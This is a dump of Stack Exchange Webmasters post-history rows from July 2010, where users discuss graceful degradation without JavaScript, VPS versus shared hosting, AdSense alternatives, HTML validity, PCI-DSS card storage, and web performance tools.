  <row Id="2006" PostHistoryTypeId="2" PostId="1117" RevisionGUID="e97fe51b-d27f-46ae-bf90-01daaa76cf08" CreationDate="2010-07-17T06:10:34.127" UserId="132" Text="You want to be careful with this line of thought. Even a few percent could still translate to a large number of visitors. I've read that mobile devices do not run JavaScript as that would consume more battery power.&#xD;&#xA;&#xD;&#xA;It's quite possible to build a site that works with JS and without. I recommend building without first, then adding JS with graceful degradation in mind. If the user has JS disabled, the content should still be available." />
  <row Id="2007" PostHistoryTypeId="2" PostId="1118" RevisionGUID="4d8eba67-c4d4-4401-a314-78d581f911ed" CreationDate="2010-07-17T06:14:57.020" UserId="575" Text="The first step in improving the performance of *any* PHP code is to install a PHP accelerator, like Alternative PHP Cache (aPHC, included by default in PHP 6) or Zend Optimizer (there are a bunch of them around).&#xD;&#xA;&#xD;&#xA;The second step is to use a profiling tool and find out where the bottleneck is; it could be processor, disk, or even bandwidth. Without profiling you will never know for sure. Zend Server includes a performance monitors that gives you detailed information about how long the code takes to execute; of course, there are many other profiling tools you can use, like Xdebug (also a debugger)." />
  <row Id="2008" PostHistoryTypeId="2" PostId="1119" RevisionGUID="3f554b92-8f56-4f87-ab2a-8bcd71d8342b" CreationDate="2010-07-17T06:20:18.943" UserId="132" Text="I'm considering a move from my shared hosting setup to a Virtual Private Server. I'm aware of the major benefits and downsides of this idea.&#xD;&#xA;&#xD;&#xA;I have a few personal sites I would be running. Given the work involved in setting up and running a VPS, is it worthwhile for a few personal sites?" />
  <row Id="2009" PostHistoryTypeId="1" PostId="1119" RevisionGUID="3f554b92-8f56-4f87-ab2a-8bcd71d8342b" CreationDate="2010-07-17T06:20:18.943" UserId="132" Text="How widely used is VPS hosting for personal sites?" />
  <row Id="2010" PostHistoryTypeId="3" PostId="1119" RevisionGUID="3f554b92-8f56-4f87-ab2a-8bcd71d8342b" CreationDate="2010-07-17T06:20:18.943" UserId="132" Text="&lt;web-hosting&gt;&lt;vps&gt;" />
  <row Id="2011" PostHistoryTypeId="2" PostId="1120" RevisionGUID="03ab5424-6052-424c-bd3e-3aae48a81244" CreationDate="2010-07-17T06:29:59.003" UserId="543" Text="Here's the way I look at it...  Ask yourself what the primary purpose of your site is.  Is your site intended to sell widgets?  Is it a discussion forum,?  Figure out what the primary function is.  Once you've done that, make sure the users can do it without javascript enabled.  It doesn't matter if they miss a few bells and whistles but make sure users can perform that function without Javascript.&#xD;&#xA;&#xD;&#xA;e.g. If your site is an eCommerce site, then a user should be able to browse, add a product to the cart and complete a checkout without Javascript.  Maybe they don't see a pretty animation on the home page, or they can't use some fancy search and filter stuff, but provided they can browse and buy you're good.&#xD;&#xA;&#xD;&#xA;Or take a StackOverflow/StackExchange site...  The major thing is to browse, ask and answer questions.  You'd want that to with without Javascript...  Maybe the user has to hand type the markdown because the editor doesn't work, or maybe voting doesn't work, but the user can still perform the main function of the site.&#xD;&#xA;&#xD;&#xA;At the end of the day we all have limited resources and deadlines.  It's probably not worth making sure the whole site works without Javascript, so invest time where you'll get maximum reward." />
  <row Id="2012" PostHistoryTypeId="2" PostId="1121" RevisionGUID="8ea15384-836a-4cf2-a942-e693a1f2e73d" CreationDate="2010-07-17T06:33:40.757" UserId="543" Text="I use VPS hosting for my personal sites.  It was a bit of effort to set up, but I love the control I have over it';s configuration.  I'd suggest that if you're a reasonably competent sysadmin you might want to go that way, but for the majority of people a VPS is a bit more expensive and the extra control isn't hugely beneficial.  If I was starting again today, I'd probably still go the VPS route, but if a friend or family member came to me wanting to set up a web site I'd probably push them towards shared hosting." />
  <row Id="2013" PostHistoryTypeId="2" PostId="1122" RevisionGUID="5dac7a0e-1d3b-45d2-a012-29e4161a0429" CreationDate="2010-07-17T06:45:06.210" UserId="407" Text="One point no one's mentioned is future browser developments. Though all today's browsers handle invalid markup relatively well, that may not always be the case.&#xD;&#xA;&#xD;&#xA;Browser makers in the future will be ensuring their browsers work to HTML/XHTML standards, so this is what web developers should be hitting as well. Just because a particular bit of invalid markup works now doesn't guarantee it will work in future browsers." />
  <row Id="2014" PostHistoryTypeId="2" PostId="1123" RevisionGUID="90bacb5a-271f-4c45-9322-c04b34ae21e7" CreationDate="2010-07-17T06:46:10.937" UserId="581" Text="Depending on the website, it might be useful to consider individual features rather than the entire website. Are some features more important than others? Are any of them mission-critical for your users? If the structure of the website allows it, make the mission-critical features accessible without JavaScript, and decide what to do with each feature based on its importance." />
  <row Id="2015" PostHistoryTypeId="2" PostId="1124" RevisionGUID="416d51e9-f0d4-4602-b909-4e5d0f8d5cae" CreationDate="2010-07-17T06:50:20.647" Text="Serve the client content only whenever possible for non-js devices/browser." />
  <row Id="2016" PostHistoryTypeId="2" PostId="1125" RevisionGUID="263aca28-bfe5-4508-861c-76c0309e9489" CreationDate="2010-07-17T06:50:51.660" UserId="576" Text="There are a bunch of [free web performance analysis &amp; optimization tools][1]. You can compile your own big check-list from the reports that they generate.&#xD;&#xA;&#xD;&#xA;Here are a couple of paraphrased points from a Zoompf Performance Assessment -&#xD;&#xA;&#xD;&#xA; - Avoid dynamically generated content (image). Consider drawing or resizing&#xD;&#xA;   a image offline as a static image file instead.  &#xD;&#xA; - Avoid using image tags without dimensions.&#xD;&#xA; - Google Analytics (&amp; Ads) support asynchronous loading of    its   JavaScript file. In case, you use them, you could opt to load them asynchronously.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mvark.blogspot.com/2010/06/web-performance-analysis-optimization.html" />
  <row Id="2017" PostHistoryTypeId="2" PostId="1126" RevisionGUID="4a8affac-2722-4485-a668-147415adcd9a" CreationDate="2010-07-17T06:53:47.300" UserDisplayName="delete" Text="I have two pages, page X, which is a JavaScript-based image viewer, and page Y, which is a fallthrough to which the user is redirected by a `&lt;noscript&gt;` block in page X like this:&#xD;&#xA;&#xD;&#xA;    &lt;noscript&gt;&#xD;&#xA;    &lt;meta http-equiv=&quot;REFRESH&quot; content=&quot;0;url=page-y&quot;&gt;&#xD;&#xA;    &lt;/noscript&gt;&#xD;&#xA;&#xD;&#xA;For various browsers the percentages of unique IP addresses which access page X and page Y look like this:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;          All hits     User's JavaScript is off&#xD;&#xA;Firefox     11.1%           7.7%&#xD;&#xA;MSIE        27.1%          22.7%&#xD;&#xA;Opera        8.6%           5.7%&#xD;&#xA;Chrome      15.6%          12.1%&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Here &quot;All hits&quot; is the percentage of all the hits on the two pages which are to page Y, and &quot;User's JavaScript is off&quot; is the percentage of hits to page Y where the user was sent from page X by the `&lt;noscript&gt;` redirect. (This is based on very low numbers of hits but it's the only data I have.)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2018" PostHistoryTypeId="5" PostId="1126" RevisionGUID="92f936e1-4b0a-4752-9d2f-2f414f9da8b0" CreationDate="2010-07-17T07:01:17.583" UserDisplayName="delete" Comment="Not sure anyone cares about all hits." Text="I have two pages, page X, which is a JavaScript-based image viewer, and page Y, which is a fallthrough to which the user is redirected by a `&lt;noscript&gt;` block in page X like this:&#xD;&#xA;&#xD;&#xA;    &lt;noscript&gt;&#xD;&#xA;    &lt;meta http-equiv=&quot;REFRESH&quot; content=&quot;0;url=page-y&quot;&gt;&#xD;&#xA;    &lt;/noscript&gt;&#xD;&#xA;&#xD;&#xA;For various browsers the percentage of unique IP addresses which are sent to page Y by the `&lt;noscript&gt;` section look like this:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;            User's JavaScript is off&#xD;&#xA;Firefox           7.7%&#xD;&#xA;MSIE             22.7%&#xD;&#xA;Opera             5.7%&#xD;&#xA;Chrome           12.1%&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;(This is based on very low numbers of hits but it's the only data I have.)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2019" PostHistoryTypeId="2" PostId="1127" RevisionGUID="2015e79b-79dc-41b1-b690-3c29f2f66ddf" CreationDate="2010-07-17T07:11:19.963" UserId="586" Text="The last version that came out for [this plugin][1] is 3.3.2, and it's broken. Whenever I click &quot;Upgrade all my plugins&quot;, my openid gets broken and I can't login to Stack Overflow until I downgrade this plugin :)&#xD;&#xA;&#xD;&#xA;Is there an alternative ?&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpress.org/extend/plugins/openid/" />
  <row Id="2020" PostHistoryTypeId="1" PostId="1127" RevisionGUID="2015e79b-79dc-41b1-b690-3c29f2f66ddf" CreationDate="2010-07-17T07:11:19.963" UserId="586" Text="Is there a a better OpenID plugin for wordpress?" />
  <row Id="2021" PostHistoryTypeId="3" PostId="1127" RevisionGUID="2015e79b-79dc-41b1-b690-3c29f2f66ddf" CreationDate="2010-07-17T07:11:19.963" UserId="586" Text="&lt;wordpress&gt;&lt;openid&gt;" />
  <row Id="2022" PostHistoryTypeId="5" PostId="1126" RevisionGUID="affe0cc7-e358-4125-be7a-0acf1767c90b" CreationDate="2010-07-17T07:14:10.473" UserDisplayName="delete" Comment="added SQL query which generated the numbers" Text="I have two pages, page X, which is a JavaScript-based image viewer, and page Y, which is a fallthrough to which the user is redirected by a `&lt;noscript&gt;` block in page X like this:&#xD;&#xA;&#xD;&#xA;    &lt;noscript&gt;&#xD;&#xA;    &lt;meta http-equiv=&quot;REFRESH&quot; content=&quot;0;url=page-y&quot;&gt;&#xD;&#xA;    &lt;/noscript&gt;&#xD;&#xA;&#xD;&#xA;For various browsers the percentage of unique IP addresses which are sent to page Y by the `&lt;noscript&gt;` section look like this:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;            User's JavaScript is off&#xD;&#xA;Firefox           7.7%&#xD;&#xA;MSIE             22.7%&#xD;&#xA;Opera             5.7%&#xD;&#xA;Chrome           12.1%&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;(This is based on very low numbers of hits but it's the only data I have.)&#xD;&#xA;&#xD;&#xA;★ In case anyone cares, this is from a series of SQLite queries on my log database like the following:&#xD;&#xA;&#xD;&#xA;    select count (ip_address_id) from &#xD;&#xA;    (select distinct ip_address_id from hit, user_agent, page, referrer &#xD;&#xA;    where hit.user_agent_id = user_agent.user_agent_id&#xD;&#xA;    and hit.page_id = page.page_id&#xD;&#xA;    and referrer.referrer_id = hit.referrer_id&#xD;&#xA;    and referrer like '%page-x%'&#xD;&#xA;    and page like '%page-y%'&#xD;&#xA;    and user_agent like '%android%');&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2023" PostHistoryTypeId="2" PostId="1128" RevisionGUID="149729f4-de83-4fe1-8231-d38e690f57ce" CreationDate="2010-07-17T07:14:20.020" UserId="581" Text="A commonly overlooked strategy is to remove all unnecessary HTML code from the page.&#xD;&#xA;&#xD;&#xA;For any given project, you'll have to decide which of these strategies to employ based on the (X)HTML version you're using, and the way the website is going to be used.&#xD;&#xA;&#xD;&#xA;(Apparently, I can't post more than one hyperlink per answer since I'm a new user, so these URLs will have to be copied and pasted...I hope that's kosher.)&#xD;&#xA;&#xD;&#xA;- In HTML4 and HTML5, for many elements, the closing tag is not required. The opening tag for the body element also isn't required. See:&#xD;&#xA;&#xD;&#xA;meiert.com/en/blog/20080601/optional-tags-in-html-4/&#xD;&#xA;&#xD;&#xA;code.google.com/speed/articles/optimizing-html.html&#xD;&#xA;&#xD;&#xA;- The protocol (http:) part of HTTP URLs can be omitted.&#xD;&#xA;&#xD;&#xA;meiert.com/en/blog/20090218/performance-and-rfc-2396/&#xD;&#xA;&#xD;&#xA;- With tags like &amp;lt;br&amp;gt;, you can simply leave out the slash used in the XHTML syntax (&amp;lt;br /&amp;gt;) unless you actually need to use XHTML.&#xD;&#xA;&#xD;&#xA;- Here are some examples of small HTML document structures:&#xD;&#xA;&#xD;&#xA;meiert.com/en/blog/20080429/best-html-template/&#xD;&#xA;&#xD;&#xA;html5doctor.com/html-5-boilerplates/" />
  <row Id="2024" PostHistoryTypeId="2" PostId="1129" RevisionGUID="79b30854-e36e-4401-8a78-ac55d9e48b72" CreationDate="2010-07-17T07:19:28.840" UserId="576" Text="If you thought there were no other search engines of consequence than the Big 3, note that as per [StatCounter Global Stats][1], Baidu is the most popular search engine in China while startpagina.nl &amp; yandex.ru are second most popular in Netherlands &amp; the Russian Federation respectively. So you may have to find from which geographies the majority of your site's visitors come from &amp; then target the search engines that are popular in that region.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://gs.statcounter.com/#search_engine-ww-monthly-200906-201007" />
  <row Id="2025" PostHistoryTypeId="2" PostId="1130" RevisionGUID="1b3e1bad-0ef8-4cf8-81ca-bdb8821ad8b4" CreationDate="2010-07-17T07:23:23.447" UserId="586" Text="The accepted answer to [this question][1] states that Adsense functions rather poorly. What is the alternative then?&#xD;&#xA;&#xD;&#xA;My site has about 400 daily visitors, 1.5 pages/visit - so I'm too small to manually approach any sponsor for an personal ad deal.&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/621/adsense-is-it-worth-setting-up" />
  <row Id="2026" PostHistoryTypeId="1" PostId="1130" RevisionGUID="1b3e1bad-0ef8-4cf8-81ca-bdb8821ad8b4" CreationDate="2010-07-17T07:23:23.447" UserId="586" Text="Is there a viable alternative to Adsense for a small website?" />
  <row Id="2027" PostHistoryTypeId="3" PostId="1130" RevisionGUID="1b3e1bad-0ef8-4cf8-81ca-bdb8821ad8b4" CreationDate="2010-07-17T07:23:23.447" UserId="586" Text="&lt;google-adsense&gt;" />
  <row Id="2028" PostHistoryTypeId="2" PostId="1131" RevisionGUID="c4dc18ca-5514-4a6a-970a-2ca91ed13413" CreationDate="2010-07-17T07:31:23.007" UserDisplayName="delete" Text="There are lots of alternatives, e.g. Amazon affiliates.&#xD;&#xA;" />
  <row Id="2029" PostHistoryTypeId="2" PostId="1132" RevisionGUID="40152799-027f-4b5e-befe-4686d5c4a4db" CreationDate="2010-07-17T07:36:26.147" UserId="576" Text="This YouTube Matt Cutts video &quot;[Why aren't breadcrumbs displaying in search results for my site?][1]&quot; may help you out.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.youtube.com/watch?v=PmOjX5DlN2A" />
  <row Id="2031" PostHistoryTypeId="2" PostId="1134" RevisionGUID="242d6655-fa58-4501-bcab-aa782b3a3e3a" CreationDate="2010-07-17T07:52:02.210" UserId="576" Text="You can also try Google's open source Speed Tracer - http://code.google.com/webtoolkit/speedtracer/&#xD;&#xA;&#xD;&#xA;&gt; Speed Tracer is a tool to help you&#xD;&#xA;&gt; identify and fix performance problems&#xD;&#xA;&gt; in your web applications. It&#xD;&#xA;&gt; visualizes metrics that are taken from&#xD;&#xA;&gt; low level instrumentation points&#xD;&#xA;&gt; inside of the browser and analyzes&#xD;&#xA;&gt; them as your application runs. Speed&#xD;&#xA;&gt; Tracer is available as a Chrome&#xD;&#xA;&gt; extension and works on all platforms&#xD;&#xA;&gt; where extensions are currently&#xD;&#xA;&gt; supported (Windows and Linux).&#xD;&#xA;&gt; &#xD;&#xA;&gt; Using Speed Tracer you are able to get&#xD;&#xA;&gt; a better picture of where time is&#xD;&#xA;&gt; being spent in your application. This&#xD;&#xA;&gt; includes problems caused by JavaScript&#xD;&#xA;&gt; parsing and execution, layout, CSS&#xD;&#xA;&gt; style recalculation and selector&#xD;&#xA;&gt; matching, DOM event handling, network&#xD;&#xA;&gt; resource loading, timer fires,&#xD;&#xA;&gt; XMLHttpRequest callbacks, painting,&#xD;&#xA;&gt; and more." />
  <row Id="2032" PostHistoryTypeId="2" PostId="1135" RevisionGUID="4cda4dbe-fb17-4d4d-a13f-37e02cb2b508" CreationDate="2010-07-17T08:02:41.513" UserId="576" Text="Microsoft Web Capacity Analysis Tool (WCAT) is [reportedly][1] the tool of choice of the IIS team&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blogs.iis.net/thomad/archive/2010/05/11/using-the-wcat-fiddler-extension-for-web-server-performance-tests.aspx" />
  <row Id="2033" PostHistoryTypeId="2" PostId="1136" RevisionGUID="b27f3278-270b-4efe-943d-8bc18798796f" CreationDate="2010-07-17T08:06:44.280" UserId="363" Text="I have VPS running a lot of my sites and it does give you a lot of control.&#xD;&#xA;&#xD;&#xA;A lot of Hosting companies also have a server maintenance plan in addition to the main VPS so if your not to happy about the technical side of maintaining you server make sure you opt for that as well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2034" PostHistoryTypeId="2" PostId="1137" RevisionGUID="6c9e652d-0326-4313-8be0-afc9ff7621a2" CreationDate="2010-07-17T08:12:52.313" UserId="576" Text="[Zoompf][1] &amp; MSFast/MySpace’s Performance Tracker are two other notable free web performance analysis &amp; optimization tools&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://zoompf.com/" />
  <row Id="2035" PostHistoryTypeId="5" PostId="1130" RevisionGUID="2e5b1c10-b989-4f54-8bd9-dbe0461bb39a" CreationDate="2010-07-17T08:35:55.253" UserId="586" Comment="added 30 characters in body" Text="The accepted answer to [this question][1] states that Adsense functions rather poorly. What is the alternative then?&#xD;&#xA;&#xD;&#xA;My site has about 400 daily visitors, 1.5 pages/visit - so I'm too small to manually approach any sponsor for an personal ad deal. What AdSense would work best?&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/621/adsense-is-it-worth-setting-up" />
  <row Id="2036" PostHistoryTypeId="2" PostId="1138" RevisionGUID="868eb47d-7545-4931-88cf-29ac1ed247aa" CreationDate="2010-07-17T08:50:44.063" UserId="596" Text="As other people mentioned, you are looking for PCI-DSS.  Also as other people mentioned, compliance is likely to be prohibitively expensive for small sites.&#xD;&#xA;&#xD;&#xA;&gt; Moving to PayPal to utilise their&#xD;&#xA;&gt; subscriptions is not an option. We&#xD;&#xA;&gt; have to store them, and I need to make&#xD;&#xA;&gt; sure the storage is safe!&#xD;&#xA;&#xD;&#xA;You could locally store an ID that identifies the customer's credit card information on your payment gateway.  I am not sure PayPal offers this option but there are other payment gateways that do.&#xD;&#xA;&#xD;&#xA;Also bear in mind that even if you're not storing credit card data to disk you are still in scope for some PCI-DSS requirements.  By far the easiest way to be compliant is by not taking any CC data (ie.: by POSTing the payment form directly to the payment gateway).&#xD;&#xA;" />
  <row Id="2037" PostHistoryTypeId="2" PostId="1139" RevisionGUID="9eb7bbc6-6707-47e2-9ba3-665d9ecd2ffe" CreationDate="2010-07-17T10:16:34.863" UserId="604" Text="If you're using an ASP.NET website, be careful of the [ViewState][1]. It can generate very big hidden fields in the page, overloading it often while it is not necessary (it already occured to me that the ViewState is heavier than the rest of the page).  &#xD;&#xA;It is especially true if you use AJAX, as the ViewState will be sent back and forth with every request, slowing your website and increasing the traffic volume.&#xD;&#xA;&#xD;&#xA;The solution is [in the .net code][2] though.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://msdn.microsoft.com/en-us/library/ms972976.aspx&#xD;&#xA;  [2]: http://stackoverflow.com/questions/1944218/reducing-viewstate-size-in-asp-net" />
  <row Id="2038" PostHistoryTypeId="6" PostId="1076" RevisionGUID="06f2ecae-740a-42c9-88c3-e790bb96da58" CreationDate="2010-07-17T10:44:03.383" UserId="184" Comment="edited tags" Text="&lt;performance&gt;&lt;website-design&gt;&lt;authentication&gt;&lt;cdn&gt;&lt;scalability&gt;" />
  <row Id="2039" PostHistoryTypeId="2" PostId="1140" RevisionGUID="79f31ea9-9d6b-4653-935c-bcaaf8ba4bcb" CreationDate="2010-07-17T11:49:54.793" UserId="9301" Text="Affiliate advertising either by going directly to websites that sell affiliate products or by going to [ClickBank][1] outperforms Adsense for a lot of websites.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.clickbank.com/" />
  <row Id="2040" PostHistoryTypeId="2" PostId="1141" RevisionGUID="2d95f220-a800-4651-901e-65f9d9954886" CreationDate="2010-07-17T11:52:38.843" UserId="500" Text="I found a solution for removing the &quot;*Line indented incorrectly*&quot; error but first I should say that *dragonmantank* has a excellent point - you shouldn't mix PHP and HTML. It is a recipe for headaches. However, unfortunatly I think mixing PHP and HTML is very common especially in legacy software.&#xD;&#xA;&#xD;&#xA;The quick and (***REALLY REALLY***) dirty fix assuming we are using the `phpcs` default coding standards (which are the [PEAR][1] standards).&#xD;&#xA;&#xD;&#xA;Find the location of the PEAR standards, for me it was here:&#xD;&#xA;&#xD;&#xA;    cd /usr/share/php/PHP/CodeSniffer/Standards/PEAR/Sniffs/WhiteSpace&#xD;&#xA;&#xD;&#xA;Rename the `ScopeIndentSniff.php` file so the sniff will no longer be executed:&#xD;&#xA;&#xD;&#xA;    sudo mv ScopeIndentSniff.php ScopeIndentSniff.php.bk&#xD;&#xA;&#xD;&#xA;Job done - now the indentation won't be checked and the &quot;*Line indented incorrectly*&quot; error won't occur (*and your code won't be standard and won't be such high quality!*).&#xD;&#xA;&#xD;&#xA;**Note:** the above solution is horrible. It would be much better to create a new standard by copying the `/usr/share/php/PHP/CodeSniffer/Standards/PEAR` directory, renaming it and cherry picking the Sniffs that are wanted for your codebase. Then invoke `phpcs` using the `--standard` flag to select your customised standard. For example:&#xD;&#xA;&#xD;&#xA;    `phpcs --standard=/path/to/MyStandard Test.php` &#xD;&#xA;&#xD;&#xA;This is documented in [the phpcs manual][2] - go there for more information.&#xD;&#xA;&#xD;&#xA;  [1]: http://pear.php.net&#xD;&#xA;  [2]: http://pear.php.net/manual/en/package.php.php-codesniffer.coding-standard-tutorial.php" />
  <row Id="2041" PostHistoryTypeId="2" PostId="1142" RevisionGUID="732a8b07-35f1-475a-94c0-7d0403663118" CreationDate="2010-07-17T11:56:04.717" UserId="55" Text="I have my own (small) Xen farm, I typically provision a new VPS from pre-made application templates that I've created for each new site that I put into production.&#xD;&#xA;&#xD;&#xA;I have several shared hosting VPS servers that I use for development, or parking sites that get very little to no traffic whatsoever.&#xD;&#xA;&#xD;&#xA;Using a few ad hoc scripts, I've made it rather painless to migrate a site from a shared / development server over to more suitable production home.&#xD;&#xA;&#xD;&#xA;Keep in mind, that virtualization is handy for other things. I typically use Xen on every 'dedicated' box I have, just as a management layer. It helps avoid needing to rely on on-site hands and eyes to fix most common problems.&#xD;&#xA;&#xD;&#xA;Anyway, given the fact that servers are quite cheap to lease, I really recommend getting your own and then provisioning a new VPS as you need one. This also gives you the ability to shuffle resources around as the needs of your sites change.&#xD;&#xA;" />
  <row Id="2042" PostHistoryTypeId="2" PostId="1143" RevisionGUID="93977aac-823f-45c2-a412-668b480c95c0" CreationDate="2010-07-17T12:03:29.163" UserId="360" Text="Validity helps you avoid incompatibilities and helps keep code maintainable. Browsers recover from markup errors, but sometimes in very unintuitive ways.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;* DTD-based (HTML4, XHTML1 @ W3C) — Might not be worth it. DTD is primitive and, e.g., cannot check validity of most attributes. You'll mostly get hard to understand errors about entities and nesting.&#xD;&#xA;&#xD;&#xA;* [HTML5 validator][1] — **Yes**. Definitely. HTML5 is more pragmatic and allows some harmless constructs that used to be errors. OTOH Henri's validator is much more thorough and better at discovering real problems.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://html5.validator.nu/&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;Validity of JS-generated code might matter, as browsers operate on DOM, regardless how it was created. If you use `document.write()`, then you even have to take care to get syntax correct (it goes through same parser as page source).&#xD;&#xA;" />
  <row Id="2043" PostHistoryTypeId="2" PostId="1144" RevisionGUID="5f365744-c238-423c-8c9c-fb4b4096b916" CreationDate="2010-07-17T12:18:19.337" UserId="360" Text="It's choice between:&#xD;&#xA;&#xD;&#xA;  * IE5 engine (or bug-for-bug emulation of thereof)&#xD;&#xA;  * Something more modern (best effort in non-IE, long story in IE8…)&#xD;&#xA;&#xD;&#xA;If you like to write CSS like it's 1999, without centering working properly, then use quirks.&#xD;&#xA;" />
  <row Id="2044" PostHistoryTypeId="2" PostId="1145" RevisionGUID="a3ac4462-d0a6-49a7-ba1a-388c63fb3a24" CreationDate="2010-07-17T12:31:45.113" UserId="616" Text="My VPS has given me the chance to experiment with new server software. I started on the usual apache2+mod_php setup, but now I have nginx+php_fpm with a proxy back to some legacy apache2+mod_php sites. I'm also running (and tuning) APC, memcached, and mysqld.&#xD;&#xA;&#xD;&#xA;If you're just going to run a few sites, and performance is good on your shared host, I would stay put. If you're going to excercise your right to root, a VPS is a great economical way to try new things." />
  <row Id="2045" PostHistoryTypeId="2" PostId="1146" RevisionGUID="706431e0-76ea-4f6a-bfa7-d850020da833" CreationDate="2010-07-17T12:33:32.647" UserId="360" Text="Yes. If you put scripts at the bottom, `doc.ready` (`DOMContentLoaded` event) isn't needed anymore — your script will be executed after all preceeding DOM is loaded anyway.&#xD;&#xA;&#xD;&#xA;Since scripts at the end improve performance (HTML parsing and loading of CSS and images isn't blocked by the scripts) I recommend putting scripts at the bottom instead of using `doc.ready`." />
  <row Id="2046" PostHistoryTypeId="2" PostId="1147" RevisionGUID="37dc713b-7157-4cb0-b01e-04125720e055" CreationDate="2010-07-17T12:39:49.857" UserId="204" Text="I don't know how widely used it is, but I can say it's a very good option if you don't mind the additional cost. Generally speaking, you get more space, better performance, the ability to install your own software.&#xD;&#xA;&#xD;&#xA;If you've only got a few photos on your personal blog, a shared plan is probably your best bet. But if you have GBs of photos and videos you want to share, maybe host sites for several family members/friends, maybe setup OpenVPN for securing your hotspot wifi access (yay starbucks free wifi!), maybe run some other software like an SVN, or want to test our software on a non-critical machine then a VPS is a great way to go." />
  <row Id="2047" PostHistoryTypeId="2" PostId="1148" RevisionGUID="829af838-7c7e-4b9a-81ae-6bda2393a39a" CreationDate="2010-07-17T12:48:50.133" UserId="619" Text="Noticed something interesting in WordPress...hopefully its just me not seeing the right option.&#xD;&#xA;&#xD;&#xA;Whenever a user requests a new password, it will notify the site admin that the password was changed. What I'd like to do is disable this feature, as for this specific site I really don't care if users are changing their password.&#xD;&#xA;&#xD;&#xA;Is this a setting somewhere that I'm missing, or does it require a plugin to disable this functionality?&#xD;&#xA;" />
  <row Id="2048" PostHistoryTypeId="1" PostId="1148" RevisionGUID="829af838-7c7e-4b9a-81ae-6bda2393a39a" CreationDate="2010-07-17T12:48:50.133" UserId="619" Text="Wordpress - Automatic email to admin on password change" />
  <row Id="2049" PostHistoryTypeId="3" PostId="1148" RevisionGUID="829af838-7c7e-4b9a-81ae-6bda2393a39a" CreationDate="2010-07-17T12:48:50.133" UserId="619" Text="&lt;wordpress&gt;" />
  <row Id="2050" PostHistoryTypeId="2" PostId="1149" RevisionGUID="58ef7b8c-2a60-4b3b-8b42-99ac4b271179" CreationDate="2010-07-17T13:33:20.850" UserId="622" Text="I liked [Designing for the Web][1] by Mark Boulton.  The whole book is available for reading online.&#xD;&#xA;&#xD;&#xA;I'm in the same situation as you, so I don't really have the experience to critically evaluate books on design.&#xD;&#xA;&#xD;&#xA;  [1]: http://designingfortheweb.co.uk/book/index.php" />
  <row Id="2051" PostHistoryTypeId="2" PostId="1150" RevisionGUID="d264759d-346d-4e4c-b9b8-315f6c6567a5" CreationDate="2010-07-17T13:42:10.593" UserId="626" Text="[Project Wonderful][1] is a nice marketplace.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ProjectWonderful.com" />
  <row Id="2052" PostHistoryTypeId="2" PostId="1151" RevisionGUID="9545c9b1-1435-497b-a505-d63c8050e0a4" CreationDate="2010-07-17T14:00:39.443" UserId="576" Text="If you have a number of page elements &amp; access to separate domain, you can consider hosting all static files including the large JS file on the second domain.&#xD;&#xA;&#xD;&#xA;[As Steve Souders notes in his High Performance Web Sites blog][1] -&#xD;&#xA;&#xD;&#xA;&gt; ...in some situations, it’s worthwhile&#xD;&#xA;&gt; to take a bunch of resources that are&#xD;&#xA;&gt; being downloaded on a single domain&#xD;&#xA;&gt; and split them across multiple&#xD;&#xA;&gt; domains. I call this domain sharding.&#xD;&#xA;&gt; Doing this allows more resources to be&#xD;&#xA;&gt; downloaded in parallel, reducing the&#xD;&#xA;&gt; overall page load time.&#xD;&#xA;&#xD;&#xA;elsewhere he writes..&#xD;&#xA;&#xD;&#xA;&gt; Browsers open a limited number of&#xD;&#xA;&gt; connections per domain...Splitting, or&#xD;&#xA;&gt; sharding, the requests across two&#xD;&#xA;&gt; domains, as opposed to one domain,&#xD;&#xA;&gt; results in a faster page, especially&#xD;&#xA;&gt; in IE 6 &amp; 7&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.stevesouders.com/blog/2009/05/12/sharding-dominant-domains/" />
  <row Id="2053" PostHistoryTypeId="2" PostId="1152" RevisionGUID="4b37a57a-9db4-43df-a1d6-7388489d8af2" CreationDate="2010-07-17T14:48:45.253" UserId="576" Text="Check [these tips by andreas kraus][1] for avoiding spam filters while sending automated mails based on his analysis of SpamAssassin (an open-source spam filter) &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.andreas-kraus.net/blog/tips-for-avoiding-spam-filters-with-systemnetmail/" />
